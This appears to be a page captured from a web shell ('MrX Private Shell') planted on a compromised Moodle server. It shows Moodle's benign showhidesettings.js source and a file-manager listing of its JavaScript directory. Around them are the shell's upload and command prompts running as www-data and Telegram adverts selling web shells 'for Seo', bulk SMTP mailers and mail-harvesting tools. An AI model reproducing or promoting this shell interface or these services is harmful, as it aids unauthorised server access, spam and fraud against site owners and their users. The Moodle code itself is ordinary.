__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.153: ~ $
/**
 * Show/hide admin settings based on other settings selected
 *
 * @copyright 2018 Davo Smith, Synergy Learning
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(['jquery'], function($) {
    var dependencies;

    // -------------------------------------------------
    // Support functions, used by dependency functions.
    // -------------------------------------------------

    /**
     * Check to see if the given element is the hidden element that makes sure checkbox
     * elements always submit a value.
     * @param {jQuery} $el
     * @returns {boolean}
     */
    function isCheckboxHiddenElement($el) {
        return ($el.is('input[type=hidden]') && $el.siblings('input[type=checkbox][name="' + $el.attr('name') + '"]').length);
    }

    /**
     * Check to see if this is a radio button with the wrong value (i.e. a radio button from
     * the group we are interested in, but not the specific one we wanted).
     * @param {jQuery} $el
     * @param {string} value
     * @returns {boolean}
     */
    function isWrongRadioButton($el, value) {
        return ($el.is('input[type=radio]') && $el.attr('value') !== value);
    }

    /**
     * Is this element relevant when we're looking for checked / not checked status?
     * @param {jQuery} $el
     * @param {string} value
     * @returns {boolean}
     */
    function isCheckedRelevant($el, value) {
        return (!isCheckboxHiddenElement($el) && !isWrongRadioButton($el, value));
    }

    /**
     * Is this an unchecked radio button? (If it is, we want to skip it, as
     * we're only interested in the value of the radio button that is checked)
     * @param {jQuery} $el
     * @returns {boolean}
     */
    function isUncheckedRadioButton($el) {
        return ($el.is('input[type=radio]') && !$el.prop('checked'));
    }

    /**
     * Is this an unchecked checkbox?
     * @param {jQuery} $el
     * @returns {boolean}
     */
    function isUncheckedCheckbox($el) {
        return ($el.is('input[type=checkbox]') && !$el.prop('checked'));
    }

    /**
     * Is this a multi-select select element?
     * @param {jQuery} $el
     * @returns {boolean}
     */
    function isMultiSelect($el) {
        return ($el.is('select') && $el.prop('multiple'));
    }

    /**
     * Does the multi-select exactly match the list of values provided?
     * @param {jQuery} $el
     * @param {array} values
     * @returns {boolean}
     */
    function multiSelectMatches($el, values) {
        var selected = $el.val() || [];
        if (!values.length) {
            // No values - nothing to match against.
            return false;
        }
        if (selected.length !== values.length) {
            // Different number of expected and actual values - cannot possibly be a match.
            return false;
        }
        for (var i in selected) {
            if (selected.hasOwnProperty(i)) {
                if (values.indexOf(selected[i]) === -1) {
                    return false; // Found a non-matching value - give up immediately.
                }
            }
        }
        // Didn't find a non-matching value, so we have a match.
        return true;
    }

    // -------------------------------
    // Specific dependency functions.
    // -------------------------------

    var depFns = {
        notchecked: function($dependon, value) {
            var hide = false;
            value = String(value);
            $dependon.each(function(idx, el) {
                var $el = $(el);
                if (isCheckedRelevant($el, value)) {
                    hide = hide || !$el.prop('checked');
                }
            });
            return hide;
        },

        checked: function($dependon, value) {
            var hide = false;
            value = String(value);
            $dependon.each(function(idx, el) {
                var $el = $(el);
                if (isCheckedRelevant($el, value)) {
                    hide = hide || $el.prop('checked');
                }
            });
            return hide;
        },

        noitemselected: function($dependon) {
            var hide = false;
            $dependon.each(function(idx, el) {
                var $el = $(el);
                hide = hide || ($el.prop('selectedIndex') === -1);
            });
            return hide;
        },

        eq: function($dependon, value) {
            var hide = false;
            var hiddenVal = false;
            value = String(value);
            $dependon.each(function(idx, el) {
                var $el = $(el);
                if (isUncheckedRadioButton($el)) {
                    // For radio buttons, we're only interested in the one that is checked.
                    return;
                }
                if (isCheckboxHiddenElement($el)) {
                    // This is the hidden input that is part of the checkbox setting.
                    // We will use this value, if the associated checkbox is unchecked.
                    hiddenVal = ($el.val() === value);
                    return;
                }
                if (isUncheckedCheckbox($el)) {
                    // Checkbox is not checked - hide depends on the 'unchecked' value stored in
                    // the associated hidden element, which we have already found, above.
                    hide = hide || hiddenVal;
                    return;
                }
                if (isMultiSelect($el)) {
                    // Expect a list of values to match, separated by '|' - all of them must
                    // match the values selected.
                    var values = value.split('|');
                    hide = multiSelectMatches($el, values);
                    return;
                }
                // All other element types - just compare the value directly.
                hide = hide || ($el.val() === value);
            });
            return hide;
        },

        'in': function($dependon, value) {
            var hide = false;
            var hiddenVal = false;
            var values = value.split('|');
            $dependon.each(function(idx, el) {
                var $el = $(el);
                if (isUncheckedRadioButton($el)) {
                    // For radio buttons, we're only interested in the one that is checked.
                    return;
                }
                if (isCheckboxHiddenElement($el)) {
                    // This is the hidden input that is part of the checkbox setting.
                    // We will use this value, if the associated checkbox is unchecked.
                    hiddenVal = (values.indexOf($el.val()) > -1);
                    return;
                }
                if (isUncheckedCheckbox($el)) {
                    // Checkbox is not checked - hide depends on the 'unchecked' value stored in
                    // the associated hidden element, which we have already found, above.
                    hide = hide || hiddenVal;
                    return;
                }
                if (isMultiSelect($el)) {
                    // For multiselect, we check to see if the list of values provided matches the list selected.
                    hide = multiSelectMatches($el, values);
                    return;
                }
                // All other element types - check to see if the value is in the list.
                hide = hide || (values.indexOf($el.val()) > -1);
            });
            return hide;
        },

        defaultCondition: function($dependon, value) { // Not equal.
            var hide = false;
            var hiddenVal = false;
            value = String(value);
            $dependon.each(function(idx, el) {
                var $el = $(el);
                if (isUncheckedRadioButton($el)) {
                    // For radio buttons, we're only interested in the one that is checked.
                    return;
                }
                if (isCheckboxHiddenElement($el)) {
                    // This is the hidden input that is part of the checkbox setting.
                    // We will use this value, if the associated checkbox is unchecked.
                    hiddenVal = ($el.val() !== value);
                    return;
                }
                if (isUncheckedCheckbox($el)) {
                    // Checkbox is not checked - hide depends on the 'unchecked' value stored in
                    // the associated hidden element, which we have already found, above.
                    hide = hide || hiddenVal;
                    return;
                }
                if (isMultiSelect($el)) {
                    // Expect a list of values to match, separated by '|' - all of them must
                    // match the values selected to *not* hide the element.
                    var values = value.split('|');
                    hide = !multiSelectMatches($el, values);
                    return;
                }
                // All other element types - just compare the value directly.
                hide = hide || ($el.val() !== value);
            });
            return hide;
        }
    };

    /**
     * Find the element with the given name
     * @param {String} name
     * @returns {*|jQuery|HTMLElement}
     */
    function getElementsByName(name) {
        // For the array elements, we use [name^="something["] to find the elements that their name begins with 'something['/
        // This is to find both name = 'something[]' and name='something[index]'.
        return $('[name="' + name + '"],[name^="' + name + '["]');
    }

    /**
     * Check to see whether a particular condition is met
     * @param {*|jQuery|HTMLElement} $dependon
     * @param {String} condition
     * @param {mixed} value
     * @returns {Boolean}
     */
    function checkDependency($dependon, condition, value) {
        if (typeof depFns[condition] === "function") {
            return depFns[condition]($dependon, value);
        }
        return depFns.defaultCondition($dependon, value);
    }

    /**
     * Show / hide the elements that depend on some elements.
     */
    function updateDependencies() {
        // Process all dependency conditions.
        var toHide = {};
        $.each(dependencies, function(dependonname) {
            var dependon = getElementsByName(dependonname);
            $.each(dependencies[dependonname], function(condition, values) {
                $.each(values, function(value, elements) {
                    var hide = checkDependency(dependon, condition, value);
                    $.each(elements, function(idx, elToHide) {
                        if (toHide.hasOwnProperty(elToHide)) {
                            toHide[elToHide] = toHide[elToHide] || hide;
                        } else {
                            toHide[elToHide] = hide;
                        }
                    });
                });
            });
        });

        // Update the hidden status of all relevant elements.
        $.each(toHide, function(elToHide, hide) {
            getElementsByName(elToHide).each(function(idx, el) {
                var $parent = $(el).closest('.form-item');
                if ($parent.length) {
                    if (hide) {
                        $parent.hide();
                    } else {
                        $parent.show();
                    }
                }
            });
        });
    }

    /**
     * Initialise the event handlers.
     */
    function initHandlers() {
        $.each(dependencies, function(depname) {
            var $el = getElementsByName(depname);
            if ($el.length) {
                $el.on('change', updateDependencies);
            }
        });
        updateDependencies();
    }

    /**
     * Hide the 'this setting may be hidden' messages.
     */
    function hideDependencyInfo() {
        $('.form-dependenton').hide();
    }

    return {
        init: function(opts) {
            dependencies = opts.dependencies;
            initHandlers();
            hideDependencyInfo();
        }
    };
});

Filemanager

Name Type Size Permission Actions
bulkactions Folder 0755
check Folder 0755
comboboxsearch Folder 0755
datafilter Folder 0755
emoji Folder 0755
local Folder 0755
moodlenet Folder 0755
adapter.js File 123.08 KB 0644
addblockmodal.js File 4.34 KB 0644
ajax.js File 11.97 KB 0644
aria.js File 1011 B 0644
auto_rows.js File 3.46 KB 0644
autoscroll.js File 6.49 KB 0644
backoff_timer.js File 4.98 KB 0644
chart_axis.js File 7.39 KB 0644
chart_bar.js File 3.08 KB 0644
chart_base.js File 11.36 KB 0644
chart_builder.js File 1.65 KB 0644
chart_line.js File 2.08 KB 0644
chart_output.js File 1.08 KB 0644
chart_output_base.js File 2.03 KB 0644
chart_output_chartjs.js File 11.5 KB 0644
chart_output_htmltable.js File 3.3 KB 0644
chart_pie.js File 3.03 KB 0644
chart_series.js File 8.35 KB 0644
chartjs-lazy.js File 497.88 KB 0644
chartjs.js File 913 B 0644
checkbox-toggleall.js File 12.78 KB 0644
config.js File 978 B 0644
copy_to_clipboard.js File 7.38 KB 0644
custom_interaction_events.js File 22.18 KB 0644
datafilter.js File 17.92 KB 0644
dragdrop.js File 12.92 KB 0644
drawer.js File 3.49 KB 0644
drawer_events.js File 967 B 0644
dropzone.js File 5.71 KB 0644
dynamic_tabs.js File 6.67 KB 0644
edit_switch.js File 3.45 KB 0644
event.js File 2.53 KB 0644
event_dispatcher.js File 2.79 KB 0644
fetch.js File 9.4 KB 0644
first.js File 1.33 KB 0644
form-autocomplete.js File 53.74 KB 0644
form-cohort-selector.js File 2.5 KB 0644
form-course-selector.js File 3.77 KB 0644
fragment.js File 5.03 KB 0644
fullscreen.js File 1.62 KB 0644
icon_system.js File 3.39 KB 0644
icon_system_fontawesome.js File 5.35 KB 0644
icon_system_standard.js File 1.96 KB 0644
inplace_editable.js File 16.82 KB 0644
key_codes.js File 1.34 KB 0644
loadingicon.js File 3.88 KB 0644
localstorage.js File 2.24 KB 0644
log.js File 1.74 KB 0644
loglevel.js File 12.38 KB 0644
menu_navigation.js File 9.2 KB 0644
modal.js File 36.33 KB 0644
modal_backdrop.js File 4.17 KB 0644
modal_cancel.js File 1.6 KB 0644
modal_copy_to_clipboard.js File 3.75 KB 0644
modal_delete_cancel.js File 2.36 KB 0644
modal_events.js File 1.28 KB 0644
modal_factory.js File 5.91 KB 0644
modal_registry.js File 2.26 KB 0644
modal_save_cancel.js File 2.34 KB 0644
moremenu.js File 10.3 KB 0644
mustache.js File 28.75 KB 0644
network.js File 9.66 KB 0644
normalise.js File 2.43 KB 0644
notification.js File 11.57 KB 0644
page_global.js File 5.38 KB 0644
paged_content.js File 2.87 KB 0644
paged_content_events.js File 1.17 KB 0644
paged_content_factory.js File 20.61 KB 0644
paged_content_pages.js File 11.75 KB 0644
paged_content_paging_bar.js File 20.36 KB 0644
paged_content_paging_bar_limit_selector.js File 2.36 KB 0644
paged_content_paging_dropdown.js File 7.36 KB 0644
pagehelpers.js File 5.38 KB 0644
pending.js File 4.46 KB 0644
permissionmanager.js File 9.77 KB 0644
popover_region_controller.js File 13.16 KB 0644
popper.js File 79.2 KB 0644
popper2.js File 61.59 KB 0644
prefetch.js File 5.82 KB 0644
process_monitor.js File 3.55 KB 0644
pubsub.js File 2.17 KB 0644
reactive.js File 1.38 KB 0644
scroll_manager.js File 5.5 KB 0644
sessionstorage.js File 2.22 KB 0644
showhidesettings.js File 11.82 KB 0644
showmore.js File 1.83 KB 0644
sortable_list.js File 29.62 KB 0644
sticky-footer.js File 3.16 KB 0644
storage_validation.js File 1.36 KB 0644
storagewrapper.js File 5.36 KB 0644
stored_progress.js File 3.15 KB 0644
str.js File 10.01 KB 0644
tag.js File 15.02 KB 0644
templates.js File 10.83 KB 0644
toast.js File 4.26 KB 0644
togglesensitive.js File 5.15 KB 0644
tooltip.js File 4.09 KB 0644
tree.js File 18.39 KB 0644
truncate.js File 6.56 KB 0644
url.js File 3.65 KB 0644
user_date.js File 9.27 KB 0644
userfeedback.js File 2.91 KB 0644
usermenu.js File 5.13 KB 0644
utility.js File 7.5 KB 0644
utils.js File 4.83 KB 0644
yui.js File 1.13 KB 0644
Filemanager